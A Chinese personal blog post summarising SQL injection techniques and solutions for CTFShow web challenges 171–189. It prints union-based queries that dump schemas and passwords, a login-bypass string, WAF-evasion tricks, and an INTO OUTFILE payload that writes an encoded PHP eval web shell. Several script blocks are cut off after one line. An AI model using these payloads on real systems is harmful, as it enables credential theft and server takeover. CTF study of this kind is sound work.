SQL注入总结
SQL注入常用姿势总结
在刷CTFShow的时候总结一下常用的SQL注入姿势~
首先需要注意的是在注入的过程中经常需要使用单行注释语句来闭合后面不想用的SQL语句,但是对于不同的数据库管理系统,适用的注释语句不同,常用的有以下这些:
MySQL / MariaDB:
使用双减号 (–) 或井号 (#) 进行注释。
Oracle:
使用双减号 (–)或者 –+ 或双斜线 (//) 进行注释。
SQL Server:
使用双减号 (–) 进行注释。
PostgreSQL:
使用双减号 (–) 进行注释。
SQLite:
使用双减号 (–) 进行注释。
在尝试注入的过程中可以多多尝试几种。
一、数字型&字符型注入(无过滤)
代表语句:
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
常用的注入语句:
1、获得数据库名
-1' union select 1,2,database();--+
2、获取数据库中的表名:
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'ctfshow_web';--+
3、获取某个表中的列名:
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_user';--+
4、获取表中的所有数据:
-1' union select 1,2,group_concat(id,':',username,':',password) from ctfshow_user;--+
以上是最基础的一些SQL注入语句,可以用于在无过滤情况下获取某些可以字符型注入的数据库的全部内容。
有关解释:
1、为什么union之前是-1?
因为可以让原先的语句因为查询不到结果而没有回显,这样就可以只显示注入之后的结果。
2、union为啥要1,2,group_conat…?
因为union选择的列数(这里为三列)需要与select主句选择出的列数相同,1,2是凑数的,换成114514,1919810也行。
3、group_concat
用于连接所有查询的结果,注意函数中每列之间以逗号分割
4、information_schema
数据库系统中自带的一个表,记录了该数据库管理系统管理的所有数据信息。
二、万能密码
如果是登录类的题目,可以尝试万能密码:
1 | 1' or 1=1;--+ |
此处需要注意的是在SQL语句中or运算符的优先级高于and。
三、利用SQL注入写WebShell
同样如果是无过滤的字符型注入,可以利用下面的SQL语句写WebShell:
-1' union select 1,2,"<?php phpinfo()?>" into outfile "/var/www/html/1.php";--+
上面的SQL语句可能还需要修改,因为这里我没有尝试成功┭┮﹏┭┮
下面这个应该能用
1 | -1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php |
四、盲注
适用于不能直接通过回显得到flag的题目,需要使用脚本暴力破解flag,盲注的逻辑就是根据bool表达式的判断结果一位一位地猜出想要的结果。
例如:
1 | for i in range(1, 50): |
这里使用到了SQL中的if子句。有关的解释:
基本语法为
IF(条件表达式,值1,值2)
如果条件表达式为True,返回值1,为False,返回值2.
返回值可以是任何值,比如:数值,文本,日期,空值,NULL,数学表达式,函数等。
有关substr函数的解释:
SUBSTR(string ,pos,len)
string:指定字符串
pos:规定字符串从何处开始,(这里的第一个位置是1而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。
len:要截取字符串的长度。(是从1开始计数而不是0)
上面的脚本就是一个时间盲注的例子:如果password的第i个字符是j,就保留这个字符,开始爆破下一位字符,直到达到长度50为止。
五、bypass waf
下面是一些对常见过滤的绕过方法:
1.过滤关键词:
首先尝试能不能通过大写/小写绕过,如过滤select,可以尝试SELECT
其次如果是把关键词替换为空,可以尝试双写绕过,如selselectect
还可以尝试使用正则匹配,从而使用不完整的关键字达到效果,如:id=0'||(password)regexp'flag
有关regexp的解释:
在SQL语句中,REGEXP是一个操作符,用于在正则表达式中进行模式匹配。
它可以用于WHERE子句或HAVING子句中的条件判断。
过滤where可以尝试使用having,但是在没有group by的情况下一定需要有聚合函数,例如count。
实在不行就用true+…+嗯把payload凑出来,见Web185-186
2.过滤空格:
可以使用URL编码的特殊字符或者注释字符绕过,例如:
1 | %09 #\t 水平制表 |
六、对输出做过滤
过滤flag关键字
union的列中不要出现有flag的字段。
过滤数字
用字母代替数字回显结果,见Web174
过滤所有可见字符
考虑盲注,但是这种题我觉得出的不好,违反了信息安全体系的可用性原则。
七、题解
CTFShow Web171-253
Web171
无过滤字符型注入,flag在数据库中,union注入获取即可。
万能密码也能用。
Web172
基本上跟171一样,union的时候不要带上flag就行。
Web173
和172一模一样
Web174
过滤了数字,给数字replace掉。
payload:
1 | replace(replace(replace(password, '1', 'numa'), '2', 'numb'), '3', 'numc') |
Web175
过滤了所有可见字符,直接上时间盲注:
1 | # 时间盲注脚本 by yansui |
Web176
可以直接用万能密码1' or 1=1;--+
其实是过滤了select,大写绕过即可。
Web177
过滤了空格-1'%0aor%0ausername='flag
Web178
上一题的payload还可以用
Web179
用%0c代替空格即可。
Web180
同上
Web181
过滤了注释符号,直接闭合右引号:
-1’||username=’flag
Web182
过滤flag,直接用正则:id=0'||(username)regexp'f
Web183
只会回显数据库中记录的条数,直接盲注跑一遍
1 | # author:yansui |
Web184
where ban了,用having
1 | # author:yansui |
Web185
用+嗯把字符凑出来
1 | # author:yansui |
Web186
跟上面那题一样
Web187
开始登录类的题目:
直接md5万能密码:ffifdyop
抓个包就能看到flag
Web188
考的PHP特性:字符串与整数弱类型比较
1 | if($row['pass']==intval($password)){ |
用户名填1||1%23查出全部数据即可
Web189
嗯读文件啊
1 | # author: yansui |
Web190
实在写不下去了,下次再写
为啥SQL注入又多又难啊┭┮﹏┭┮
- 标题: SQL注入总结
- 作者: yansui
- 创建于: 2023-06-29 16:48:49
- 更新于: 2023-06-29 17:03:42
- 链接: http://yansui.xyz/2023/06/29/SQLi总结/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。